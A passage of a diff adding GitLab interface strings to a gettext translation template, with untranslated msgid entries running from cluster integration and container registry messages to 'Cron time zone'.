+msgid "ClusterIntegration|Use %{query}"
+msgstr ""
+
+msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
+msgstr ""
+
+msgid "ClusterIntegration|VPC"
+msgstr ""
+
+msgid "ClusterIntegration|Validating project billing status"
+msgstr ""
+
+msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
+msgstr ""
+
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
+msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
+msgstr ""
+
+msgid "ClusterIntegration|You are about to remove your cluster integration and all GitLab-created resources associated with this cluster."
+msgstr ""
+
+msgid "ClusterIntegration|You are about to remove your cluster integration."
+msgstr ""
+
+msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
+msgstr ""
+
+msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
+msgstr ""
+
+msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
+msgstr ""
+
+msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
+msgstr ""
+
+msgid "ClusterIntegration|You must specify a domain before you can install Knative."
+msgstr ""
+
+msgid "ClusterIntegration|You should select at least two subnets"
+msgstr ""
+
+msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
+msgstr ""
+
+msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
+msgstr ""
+
+msgid "ClusterIntegration|Your cluster API is unreachable. Please ensure your API URL is correct."
+msgstr ""
+
+msgid "ClusterIntegration|Your service role is distinct from the provision role used when authenticating. It will allow Amazon EKS and the Kubernetes control plane to manage AWS resources on your behalf. To use a new role, first create one on %{startLink}Amazon Web Services %{externalLinkIcon} %{endLink}."
+msgstr ""
+
+msgid "ClusterIntegration|Zone"
+msgstr ""
+
+msgid "ClusterIntegration|access to Google Kubernetes Engine"
+msgstr ""
+
+msgid "ClusterIntegration|can be used instead of a custom domain. "
+msgstr ""
+
+msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
+msgstr ""
+
+msgid "ClusterIntegration|meets the requirements"
+msgstr ""
+
+msgid "ClusterIntegration|sign up"
+msgstr ""
+
+msgid "ClusterIntergation|Select a VPC"
+msgstr ""
+
+msgid "ClusterIntergation|Select a network"
+msgstr ""
+
+msgid "ClusterIntergation|Select a region"
+msgstr ""
+
+msgid "ClusterIntergation|Select a security group"
+msgstr ""
+
+msgid "ClusterIntergation|Select a subnet"
+msgstr ""
+
+msgid "ClusterIntergation|Select a subnetwork"
+msgstr ""
+
+msgid "ClusterIntergation|Select an instance type"
+msgstr ""
+
+msgid "ClusterIntergation|Select key pair"
+msgstr ""
+
+msgid "ClusterIntergation|Select service role"
+msgstr ""
+
+msgid "Clusters|An error occurred while loading clusters"
+msgstr ""
+
+msgid "Code"
+msgstr ""
+
+msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
+msgstr ""
+
+msgid "Code Coverage| Empty code coverage data"
+msgstr ""
+
+msgid "Code Coverage|Couldn't fetch the code coverage data"
+msgstr ""
+
+msgid "Code Owners"
+msgstr ""
+
+msgid "Code Owners to the merge request changes."
+msgstr ""
+
+msgid "Code Quality"
+msgstr ""
+
+msgid "Code Review"
+msgstr ""
+
+msgid "Code Review Analytics displays a table of open merge requests considered to be in code review. There are currently no merge requests in review for this project and/or filters."
+msgstr ""
+
+msgid "Code coverage statistics for master %{start_date} - %{end_date}"
+msgstr ""
+
+msgid "Code owner approval is required"
+msgstr ""
+
+msgid "Code owners"
+msgstr ""
+
+msgid "CodeIntelligence|This is the definition"
+msgstr ""
+
+msgid "CodeNavigation|No references found"
+msgstr ""
+
+msgid "CodeOwner|Pattern"
+msgstr ""
+
+msgid "Cohorts"
+msgstr ""
+
+msgid "Cohorts|Inactive users"
+msgstr ""
+
+msgid "Cohorts|Month %{month_index}"
+msgstr ""
+
+msgid "Cohorts|New users"
+msgstr ""
+
+msgid "Cohorts|Registration month"
+msgstr ""
+
+msgid "Cohorts|Returning users"
+msgstr ""
+
+msgid "Cohorts|User cohorts are shown for the last %{months_included} months. Only users with activity are counted in the 'New users' column; inactive users are counted separately."
+msgstr ""
+
+msgid "Collapse"
+msgstr ""
+
+msgid "Collapse approvers"
+msgstr ""
+
+msgid "Collapse milestones"
+msgstr ""
+
+msgid "Collapse replies"
+msgstr ""
+
+msgid "Collapse sidebar"
+msgstr ""
+
+msgid "Collector hostname"
+msgstr ""
+
+msgid "ComboSearch is not defined"
+msgstr ""
+
+msgid "Coming soon"
+msgstr ""
+
+msgid "Comma-separated, e.g. '1.1.1.1, 2.2.2.0/24'"
+msgstr ""
+
+msgid "Command"
+msgstr ""
+
+msgid "Command line instructions"
+msgstr ""
+
+msgid "Commands applied"
+msgstr ""
+
+msgid "Commands did not apply"
+msgstr ""
+
+msgid "Comment"
+msgstr ""
+
+msgid "Comment & close %{noteable_name}"
+msgstr ""
+
+msgid "Comment & reopen %{noteable_name}"
+msgstr ""
+
+msgid "Comment & resolve thread"
+msgstr ""
+
+msgid "Comment & unresolve thread"
+msgstr ""
+
+msgid "Comment '%{label}' position"
+msgstr ""
+
+msgid "Comment form position"
+msgstr ""
+
+msgid "Comment is being updated"
+msgstr ""
+
+msgid "Comment on lines %{startLine} to %{endLine}"
+msgstr ""
+
+msgid "Comment/Reply (quoting selected text)"
+msgstr ""
+
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
+msgid "Comments"
+msgstr ""
+
+msgid "Commit"
+msgid_plural "Commits"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Commit %{commit_id}"
+msgstr ""
+
+msgid "Commit (when editing commit message)"
+msgstr ""
+
+msgid "Commit Message"
+msgstr ""
+
+msgid "Commit deleted"
+msgstr ""
+
+msgid "Commit message"
+msgstr ""
+
+msgid "Commit message (optional)"
+msgstr ""
+
+msgid "Commit statistics for %{ref} %{start_time} - %{end_time}"
+msgstr ""
+
+msgid "Commit to %{branchName} branch"
+msgstr ""
+
+msgid "CommitBoxTitle|Commit"
+msgstr ""
+
+msgid "CommitMessage|Add %{file_name}"
+msgstr ""
+
+msgid "CommitWidget|authored"
+msgstr ""
+
+msgid "Commits"
+msgstr ""
+
+msgid "Commits feed"
+msgstr ""
+
+msgid "Commits per day hour (UTC)"
+msgstr ""
+
+msgid "Commits per day of month"
+msgstr ""
+
+msgid "Commits per weekday"
+msgstr ""
+
+msgid "Commits to"
+msgstr ""
+
+msgid "Commits you select appear here. Go to the first tab and select commits to add to this merge request."
+msgstr ""
+
+msgid "Commits|An error occurred while fetching merge requests data."
+msgstr ""
+
+msgid "Commits|History"
+msgstr ""
+
+msgid "Commits|No related merge requests found"
+msgstr ""
+
+msgid "Committed by"
+msgstr ""
+
+msgid "Commit…"
+msgstr ""
+
+msgid "Company"
+msgstr ""
+
+msgid "Company name"
+msgstr ""
+
+msgid "Compare"
+msgstr ""
+
+msgid "Compare Git revisions"
+msgstr ""
+
+msgid "Compare Revisions"
+msgstr ""
+
+msgid "Compare changes"
+msgstr ""
+
+msgid "Compare changes with the last commit"
+msgstr ""
+
+msgid "Compare changes with the merge request target branch"
+msgstr ""
+
+msgid "Compare with previous version"
+msgstr ""
+
+msgid "CompareBranches|%{source_branch} and %{target_branch} are the same."
+msgstr ""
+
+msgid "CompareBranches|Compare"
+msgstr ""
+
+msgid "CompareBranches|Source"
+msgstr ""
+
+msgid "CompareBranches|Target"
+msgstr ""
+
+msgid "CompareBranches|There isn't anything to compare."
+msgstr ""
+
+msgid "Complete"
+msgstr ""
+
+msgid "Completed"
+msgstr ""
+
+msgid "Compliance"
+msgstr ""
+
+msgid "Compliance Dashboard"
+msgstr ""
+
+msgid "Compliance framework (optional)"
+msgstr ""
+
+msgid "Compliance frameworks"
+msgstr ""
+
+msgid "ComplianceDashboard|created by:"
+msgstr ""
+
+msgid "ComplianceFramework|GDPR"
+msgstr ""
+
+msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
+msgstr ""
+
+msgid "ComplianceFramework|HIPAA"
+msgstr ""
+
+msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
+msgstr ""
+
+msgid "ComplianceFramework|PCI-DSS"
+msgstr ""
+
+msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
+msgstr ""
+
+msgid "ComplianceFramework|SOC 2"
+msgstr ""
+
+msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
+msgstr ""
+
+msgid "ComplianceFramework|SOX"
+msgstr ""
+
+msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
+msgstr ""
+
+msgid "ComplianceFramework|This project is regulated by %{framework}."
+msgstr ""
+
+msgid "Confidence"
+msgstr ""
+
+msgid "Confidential"
+msgstr ""
+
+msgid "Confidentiality"
+msgstr ""
+
+msgid "Configuration"
+msgstr ""
+
+msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgstr ""
+
+msgid "Configure Gitaly timeouts."
+msgstr ""
+
+msgid "Configure Let's Encrypt"
+msgstr ""
+
+msgid "Configure Prometheus"
+msgstr ""
+
+msgid "Configure Tracing"
+msgstr ""
+
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgstr ""
+
+msgid "Configure automatic git checks and housekeeping on repositories."
+msgstr ""
+
+msgid "Configure existing installation"
+msgstr ""
+
+msgid "Configure limit for issues created per minute by web and API requests."
+msgstr ""
+
+msgid "Configure limits for Project/Group Import/Export."
+msgstr ""
+
+msgid "Configure limits for web and API requests."
+msgstr ""
+
+msgid "Configure limits on the number of inbound alerts able to be sent to a project."
+msgstr ""
+
+msgid "Configure paths to be protected by Rack Attack."
+msgstr ""
+
+msgid "Configure repository mirroring."
+msgstr ""
+
+msgid "Configure storage path settings."
+msgstr ""
+
+msgid "Configure the %{link} integration."
+msgstr ""
+
+msgid "Configure the way a user creates a new account."
+msgstr ""
+
+msgid "Confirm"
+msgstr ""
+
+msgid "Confirmation email sent to %{email}"
+msgstr ""
+
+msgid "Confirmation required"
+msgstr ""
+
+msgid "Confluence"
+msgstr ""
+
+msgid "ConfluenceService|Confluence Workspace"
+msgstr ""
+
+msgid "ConfluenceService|Connect a Confluence Cloud Workspace to your GitLab project"
+msgstr ""
+
+msgid "ConfluenceService|Enabling the Confluence Workspace will disable the default GitLab Wiki. Your GitLab Wiki data will be saved and you can always re-enable it later by turning off this integration"
+msgstr ""
+
+msgid "ConfluenceService|The URL of the Confluence Workspace"
+msgstr ""
+
+msgid "ConfluenceService|Your GitLab Wiki can be accessed here: %{wiki_link}. To re-enable your GitLab Wiki, disable this integration"
+msgstr ""
+
+msgid "Congratulations! You have enabled Two-factor Authentication!"
+msgstr ""
+
+msgid "Connect"
+msgstr ""
+
+msgid "Connect all repositories"
+msgstr ""
+
+msgid "Connect repositories from GitHub"
+msgstr ""
+
+msgid "Connect your external repositories, and CI/CD pipelines will run for new commits. A GitLab project will be created with only CI/CD features enabled."
+msgstr ""
+
+msgid "Connected"
+msgstr ""
+
+msgid "Connecting"
+msgstr ""
+
+msgid "Connecting to terminal sync service"
+msgstr ""
+
+msgid "Connecting..."
+msgstr ""
+
+msgid "Connection failed"
+msgstr ""
+
+msgid "Connection failure"
+msgstr ""
+
+msgid "Connection timed out"
+msgstr ""
+
+msgid "Connection timeout"
+msgstr ""
+
+msgid "Contact sales to upgrade"
+msgstr ""
+
+msgid "Contact support"
+msgstr ""
+
+msgid "Container Registry"
+msgstr ""
+
+msgid "Container Scanning"
+msgstr ""
+
+msgid "Container does not exist"
+msgstr ""
+
+msgid "Container registry images"
+msgstr ""
+
+msgid "Container registry is not enabled on this GitLab instance. Ask an administrator to enable it in order for Auto DevOps to work."
+msgstr ""
+
+msgid "Container repositories"
+msgstr ""
+
+msgid "Container repositories sync capacity"
+msgstr ""
+
+msgid "Container repository"
+msgstr ""
+
+msgid "ContainerRegistry| Please visit the %{linkStart}administration settings%{linkEnd} to enable this feature."
+msgstr ""
+
+msgid "ContainerRegistry|%{count} Image repository"
+msgid_plural "ContainerRegistry|%{count} Image repositories"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ContainerRegistry|%{count} Tag"
+msgid_plural "ContainerRegistry|%{count} Tags"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ContainerRegistry|%{imageName} tags"
+msgstr ""
+
+msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
+msgstr ""
+
+msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
+msgstr ""
+
+msgid "ContainerRegistry|Build an image"
+msgstr ""
+
+msgid "ContainerRegistry|CLI Commands"
+msgstr ""
+
+msgid "ContainerRegistry|Cleanup policy for tags is disabled"
+msgstr ""
+
+msgid "ContainerRegistry|Cleanup policy successfully saved."
+msgstr ""
+
+msgid "ContainerRegistry|Cleanup policy:"
+msgstr ""
+
+msgid "ContainerRegistry|Configuration digest: %{digest}"
+msgstr ""
+
+msgid "ContainerRegistry|Container Registry"
+msgstr ""
+
+msgid "ContainerRegistry|Copy build command"
+msgstr ""
+
+msgid "ContainerRegistry|Copy login command"
+msgstr ""
+
+msgid "ContainerRegistry|Copy push command"
+msgstr ""
+
+msgid "ContainerRegistry|Delete selected"
+msgstr ""
+
+msgid "ContainerRegistry|Deletion disabled due to missing or insufficient permissions."
+msgstr ""
+
+msgid "ContainerRegistry|Digest: %{imageId}"
+msgstr ""
+
+msgid "ContainerRegistry|Docker connection error"
+msgstr ""
+
+msgid "ContainerRegistry|Expiration interval:"
+msgstr ""
+
+msgid "ContainerRegistry|Expiration policies help manage the storage space used by the Container Registry, but the expiration policies for this registry are disabled. Contact your administrator to enable. %{docLinkStart}More information%{docLinkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Expiration policy is disabled"
+msgstr ""
+
+msgid "ContainerRegistry|Expiration policy will run in %{time}"
+msgstr ""
+
+msgid "ContainerRegistry|Expiration schedule:"
+msgstr ""
+
+msgid "ContainerRegistry|Filter by name"
+msgstr ""
+
+msgid "ContainerRegistry|If you are not already logged in, you need to authenticate to the Container Registry by using your GitLab username and password. If you have %{twofaDocLinkStart}Two-Factor Authentication%{twofaDocLinkEnd} enabled, use a %{personalAccessTokensDocLinkStart}Personal Access Token%{personalAccessTokensDocLinkEnd} instead of a password."
+msgstr ""
+
+msgid "ContainerRegistry|Image Repositories"
+msgstr ""
+
+msgid "ContainerRegistry|Image tags"
+msgstr ""
+
+msgid "ContainerRegistry|Invalid tag: missing manifest digest"
+msgstr ""
+
+msgid "ContainerRegistry|Login"
+msgstr ""
+
+msgid "ContainerRegistry|Manifest digest: %{digest}"
+msgstr ""
+
+msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
+msgstr ""
+
+msgid "ContainerRegistry|Number of tags to retain:"
+msgstr ""
+
+msgid "ContainerRegistry|Published %{timeInfo}"
+msgstr ""
+
+msgid "ContainerRegistry|Published to the %{repositoryPath} image repository at %{time} on %{date}"
+msgstr ""
+
+msgid "ContainerRegistry|Push an image"
+msgstr ""
+
+msgid "ContainerRegistry|Remember to run %{docLinkStart}garbage collection%{docLinkEnd} to remove the stale data from storage."
+msgstr ""
+
+msgid "ContainerRegistry|Remove repository"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tag"
+msgid_plural "ContainerRegistry|Remove tags"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ContainerRegistry|Set cleanup policy"
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while fetching the repository list."
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while fetching the tags list."
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while marking the tag for deletion."
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while marking the tags for deletion."
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while scheduling %{title} for deletion. Please try again."
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while updating the cleanup policy."
+msgstr ""
+
+msgid "ContainerRegistry|Sorry, your filter produced no results."
+msgstr ""
+
+msgid "ContainerRegistry|Tag expiration policy"
+msgstr ""
+
+msgid "ContainerRegistry|Tag successfully marked for deletion."
+msgstr ""
+
+msgid "ContainerRegistry|Tags successfully marked for deletion."
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|The last tag related to this image was recently removed. This empty image and any associated data will be automatically removed as part of the regular Garbage Collection process. If you have any questions, contact your administrator."
+msgstr ""
+
+msgid "ContainerRegistry|The value of this input should be less than 256 characters"
+msgstr ""
+
+msgid "ContainerRegistry|There are no container images available in this group"
+msgstr ""
+
+msgid "ContainerRegistry|There are no container images stored for this project"
+msgstr ""
+
+msgid "ContainerRegistry|There was an error during the deletion of this image repository, please try again."
+msgstr ""
+
+msgid "ContainerRegistry|This image has no active tags"
+msgstr ""
+
+msgid "ContainerRegistry|This image repository is scheduled for deletion"
+msgstr ""
+
+msgid "ContainerRegistry|This project's cleanup policy for tags is not enabled."
+msgstr ""
+
+msgid "ContainerRegistry|To widen your search, change or remove the filters above."
+msgstr ""
+
+msgid "ContainerRegistry|We are having trouble connecting to the Registry, which could be due to an issue with your project name or path. %{docLinkStart}More information%{docLinkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Wildcards such as %{codeStart}.*-master%{codeEnd} or %{codeStart}release-.*%{codeEnd} are supported"
+msgstr ""
+
+msgid "ContainerRegistry|Wildcards such as %{codeStart}.*-test%{codeEnd} or %{codeStart}dev-.*%{codeEnd} are supported. To select all tags, use %{codeStart}.*%{codeEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|With the Container Registry, every project can have its own space to store its Docker images. %{docLinkStart}More Information%{docLinkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|With the Container Registry, every project can have its own space to store its Docker images. Push at least one Docker image in one of this group's projects in order to show up here. %{docLinkStart}More Information%{docLinkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|With the GitLab Container Registry, every project can have its own space to store images. %{docLinkStart}More information%{docLinkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|You are about to remove %{item} tags. Are you sure?"
+msgstr ""
+
+msgid "ContainerRegistry|You are about to remove %{item}. Are you sure?"
+msgstr ""
+
+msgid "ContainerRegistry|You are about to remove repository %{title}. Once you confirm, this repository will be permanently deleted."
+msgstr ""
+
+msgid "ContainerRegistry|You can add an image to this registry with the following commands:"
+msgstr ""
+
+msgid "Contains %{count} blobs of images (%{size})"
+msgstr ""
+
+msgid "Contents of .gitlab-ci.yml"
+msgstr ""
+
+msgid "ContextCommits|Failed to create context commits. Please try again."
+msgstr ""
+
+msgid "ContextCommits|Failed to create/remove context commits. Please try again."
+msgstr ""
+
+msgid "ContextCommits|Failed to delete context commits. Please try again."
+msgstr ""
+
+msgid "Continue"
+msgstr ""
+
+msgid "Continue to the next step"
+msgstr ""
+
+msgid "Continuous Integration and Deployment"
+msgstr ""
+
+msgid "Contribute to GitLab"
+msgstr ""
+
+msgid "Contribution"
+msgstr ""
+
+msgid "Contribution Analytics"
+msgstr ""
+
+msgid "ContributionAnalytics|%{created_count} created, %{closed_count} closed."
+msgstr ""
+
+msgid "ContributionAnalytics|%{created_count} created, %{merged_count} merged."
+msgstr ""
+
+msgid "ContributionAnalytics|%{pushes} pushes, more than %{commits} commits by %{people} contributors."
+msgstr ""
+
+msgid "ContributionAnalytics|Contribution analytics for issues, merge requests and push events since %{start_date}"
+msgstr ""
+
+msgid "ContributionAnalytics|Issues"
+msgstr ""
+
+msgid "ContributionAnalytics|Last 3 months"
+msgstr ""
+
+msgid "ContributionAnalytics|Last month"
+msgstr ""
+
+msgid "ContributionAnalytics|Last week"
+msgstr ""
+
+msgid "ContributionAnalytics|Merge Requests"
+msgstr ""
+
+msgid "ContributionAnalytics|No issues for the selected time period."
+msgstr ""
+
+msgid "ContributionAnalytics|No merge requests for the selected time period."
+msgstr ""
+
+msgid "ContributionAnalytics|No pushes for the selected time period."
+msgstr ""
+
+msgid "Contributions for %{calendar_date}"
+msgstr ""
+
+msgid "Contributions per group member"
+msgstr ""
+
+msgid "Contributors"
+msgstr ""
+
+msgid "Control emails linked to your account"
+msgstr ""
+
+msgid "Control the display of third party offers."
+msgstr ""
+
+msgid "Cookie domain"
+msgstr ""
+
+msgid "Copied"
+msgstr ""
+
+msgid "Copied labels and milestone from %{source_issuable_reference}."
+msgstr ""
+
+msgid "Copy"
+msgstr ""
+
+msgid "Copy %{http_label} clone URL"
+msgstr ""
+
+msgid "Copy %{protocol} clone URL"
+msgstr ""
+
+msgid "Copy %{proxy_url}"
+msgstr ""
+
+msgid "Copy %{type}"
+msgstr ""
+
+msgid "Copy Account ID to clipboard"
+msgstr ""
+
+msgid "Copy External ID to clipboard"
+msgstr ""
+
+msgid "Copy ID"
+msgstr ""
+
+msgid "Copy KRB5 clone URL"
+msgstr ""
+
+msgid "Copy SSH clone URL"
+msgstr ""
+
+msgid "Copy SSH public key"
+msgstr ""
+
+msgid "Copy URL"
+msgstr ""
+
+msgid "Copy branch name"
+msgstr ""
+
+msgid "Copy command"
+msgstr ""
+
+msgid "Copy commands"
+msgstr ""
+
+msgid "Copy commit SHA"
+msgstr ""
+
+msgid "Copy environment"
+msgstr ""
+
+msgid "Copy evidence SHA"
+msgstr ""
+
+msgid "Copy file contents"
+msgstr ""
+
+msgid "Copy file path"
+msgstr ""
+
+msgid "Copy key"
+msgstr ""
+
+msgid "Copy labels and milestone from %{source_issuable_reference}."
+msgstr ""
+
+msgid "Copy labels and milestone from other issue or merge request in this project"
+msgstr ""
+
+msgid "Copy link"
+msgstr ""
+
+msgid "Copy link to chart"
+msgstr ""
+
+msgid "Copy reference"
+msgstr ""
+
+msgid "Copy secret"
+msgstr ""
+
+msgid "Copy source branch name"
+msgstr ""
+
+msgid "Copy the code below to implement tracking in your application:"
+msgstr ""
+
+msgid "Copy to clipboard"
+msgstr ""
+
+msgid "Copy token"
+msgstr ""
+
+msgid "Copy trigger token"
+msgstr ""
+
+msgid "Copy value"
+msgstr ""
+
+msgid "Could not add admins as members"
+msgstr ""
+
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
+msgid "Could not authorize chat nickname. Try again!"
+msgstr ""
+
+msgid "Could not change HEAD: branch '%{branch}' does not exist"
+msgstr ""
+
+msgid "Could not connect to FogBugz, check your URL"
+msgstr ""
+
+msgid "Could not connect to Sentry. Refresh the page to try again."
+msgstr ""
+
+msgid "Could not connect to Web IDE file mirror service."
+msgstr ""
+
+msgid "Could not create Wiki Repository at this time. Please try again later."
+msgstr ""
+
+msgid "Could not create environment"
+msgstr ""
+
+msgid "Could not create group"
+msgstr ""
+
+msgid "Could not create issue"
+msgstr ""
+
+msgid "Could not create project"
+msgstr ""
+
+msgid "Could not create wiki page"
+msgstr ""
+
+msgid "Could not delete chat nickname %{chat_name}."
+msgstr ""
+
+msgid "Could not delete wiki page"
+msgstr ""
+
+msgid "Could not find design."
+msgstr ""
+
+msgid "Could not find iteration"
+msgstr ""
+
+msgid "Could not remove the trigger."
+msgstr ""
+
+msgid "Could not restore the group"
+msgstr ""
+
+msgid "Could not revoke impersonation token %{token_name}."
+msgstr ""
+
+msgid "Could not revoke personal access token %{personal_access_token_name}."
+msgstr ""
+
+msgid "Could not revoke project access token %{project_access_token_name}."
+msgstr ""
+
+msgid "Could not save group ID"
+msgstr ""
+
+msgid "Could not save project ID"
+msgstr ""
+
+msgid "Could not save prometheus manual configuration"
+msgstr ""
+
+msgid "Could not udpdate wiki page"
+msgstr ""
+
+msgid "Could not update the LDAP settings"
+msgstr ""
+
+msgid "Could not upload your designs as one or more files uploaded are not supported."
+msgstr ""
+
+msgid "Country"
+msgstr ""
+
+msgid "Coverage"
+msgstr ""
+
+msgid "Coverage Fuzzing"
+msgstr ""
+
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Create"
+msgstr ""
+
+msgid "Create %{environment}"
+msgstr ""
+
+msgid "Create %{type}"
+msgstr ""
+
+msgid "Create New Directory"
+msgstr ""
+
+msgid "Create New Domain"
+msgstr ""
+
+msgid "Create Project"
+msgstr ""
+
+msgid "Create Value Stream"
+msgstr ""
+
+msgid "Create a GitLab account first, and then connect it to your %{label} account."
+msgstr ""
+
+msgid "Create a Mattermost team for this group"
+msgstr ""
+
+msgid "Create a local proxy for storing frequently used upstream images. %{link_start}Learn more%{link_end} about dependency proxies."
+msgstr ""
+
+msgid "Create a merge request"
+msgstr ""
+
+msgid "Create a new branch"
+msgstr ""
+
+msgid "Create a new deploy key for this project"
+msgstr ""
+
+msgid "Create a new file as there are no files yet. Afterwards, you'll be able to commit your changes."
+msgstr ""
+
+msgid "Create a new issue"
+msgstr ""
+
+msgid "Create a new repository"
+msgstr ""
+
+msgid "Create a personal access token on your account to pull or push via %{protocol}."
+msgstr ""
+
+msgid "Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
+msgid "Create an account using:"
+msgstr ""
+
+msgid "Create an issue. Issues are created for each alert triggered."
+msgstr ""
+
+msgid "Create and provide your GitHub %{link_start}Personal Access Token%{link_end}. You will need to select the %{code_open}repo%{code_close} scope, so we can display a list of your public and private repositories which are available to import."
+msgstr ""
+
+msgid "Create board"
+msgstr ""
+
+msgid "Create branch"
+msgstr ""
+
+msgid "Create commit"
+msgstr ""
+
+msgid "Create confidential merge request"
+msgstr ""
+
+msgid "Create confidential merge request and branch"
+msgstr ""
+
+msgid "Create directory"
+msgstr ""
+
+msgid "Create empty repository"
+msgstr ""
+
+msgid "Create epic"
+msgstr ""
+
+msgid "Create file"
+msgstr ""
+
+msgid "Create from"
+msgstr ""
+
+msgid "Create group"
+msgstr ""
+
+msgid "Create group label"
+msgstr ""
+
+msgid "Create issue"
+msgstr ""
+
+msgid "Create iteration"
+msgstr ""
+
+msgid "Create lists from labels. Issues with that label appear in that list."
+msgstr ""
+
+msgid "Create merge request"
+msgstr ""
+
+msgid "Create merge request and branch"
+msgstr ""
+
+msgid "Create milestone"
+msgstr ""
+
+msgid "Create new"
+msgstr ""
+
+msgid "Create new Value Stream"
+msgstr ""
+
+msgid "Create new board"
+msgstr ""
+
+msgid "Create new branch"
+msgstr ""
+
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
+msgid "Create new directory"
+msgstr ""
+
+msgid "Create new file"
+msgstr ""
+
+msgid "Create new file or directory"
+msgstr ""
+
+msgid "Create new issue in Jira"
+msgstr ""
+
+msgid "Create new label"
+msgstr ""
+
+msgid "Create new..."
+msgstr ""
+
+msgid "Create project"
+msgstr ""
+
+msgid "Create project label"
+msgstr ""
+
+msgid "Create release"
+msgstr ""
+
+msgid "Create requirement"
+msgstr ""
+
+msgid "Create snippet"
+msgstr ""
+
+msgid "Create wildcard: %{searchTerm}"
+msgstr ""
+
+msgid "Create your first page"
+msgstr ""
+
+msgid "Create your group"
+msgstr ""
+
+msgid "Create/import your first project"
+msgstr ""
+
+msgid "CreateGroup|You don’t have permission to create a subgroup in this group."
+msgstr ""
+
+msgid "CreateGroup|You don’t have permission to create groups."
+msgstr ""
+
+msgid "CreateTag|Tag"
+msgstr ""
+
+msgid "CreateTokenToCloneLink|create a personal access token"
+msgstr ""
+
+msgid "Created"
+msgstr ""
+
+msgid "Created %{timestamp}"
+msgstr ""
+
+msgid "Created At"
+msgstr ""
+
+msgid "Created On"
+msgstr ""
+
+msgid "Created a branch and a merge request to resolve this issue."
+msgstr ""
+
+msgid "Created branch '%{branch_name}' and a merge request to resolve this issue."
+msgstr ""
+
+msgid "Created by %{job}"
+msgstr ""
+
+msgid "Created by me"
+msgstr ""
+
+msgid "Created by:"
+msgstr ""
+
+msgid "Created date"
+msgstr ""
+
+msgid "Created issue %{issueLink}"
+msgstr ""
+
+msgid "Created issue %{issueLink} at %{projectLink}"
+msgstr ""
+
+msgid "Created merge request %{mergeRequestLink}"
+msgstr ""
+
+msgid "Created merge request %{mergeRequestLink} at %{projectLink}"
+msgstr ""
+
+msgid "Created on"
+msgstr ""
+
+msgid "Created on:"
+msgstr ""
+
+msgid "Creates a branch and a merge request to resolve this issue."
+msgstr ""
+
+msgid "Creates branch '%{branch_name}' and a merge request to resolve this issue."
+msgstr ""
+
+msgid "Creating"
+msgstr ""
+
+msgid "Creating epic"
+msgstr ""
+
+msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
+msgstr ""
+
+msgid "Creation date"
+msgstr ""
+
+msgid "Credentials"
+msgstr ""
+
+msgid "CredentialsInventory|No credentials found"
+msgstr ""
+
+msgid "CredentialsInventory|Personal Access Tokens"
+msgstr ""
+
+msgid "CredentialsInventory|SSH Keys"
+msgstr ""
+
+msgid "Critical vulnerabilities present"
+msgstr ""
+
+msgid "Cron Timezone"
+msgstr ""
+
+msgid "Cron time zone"
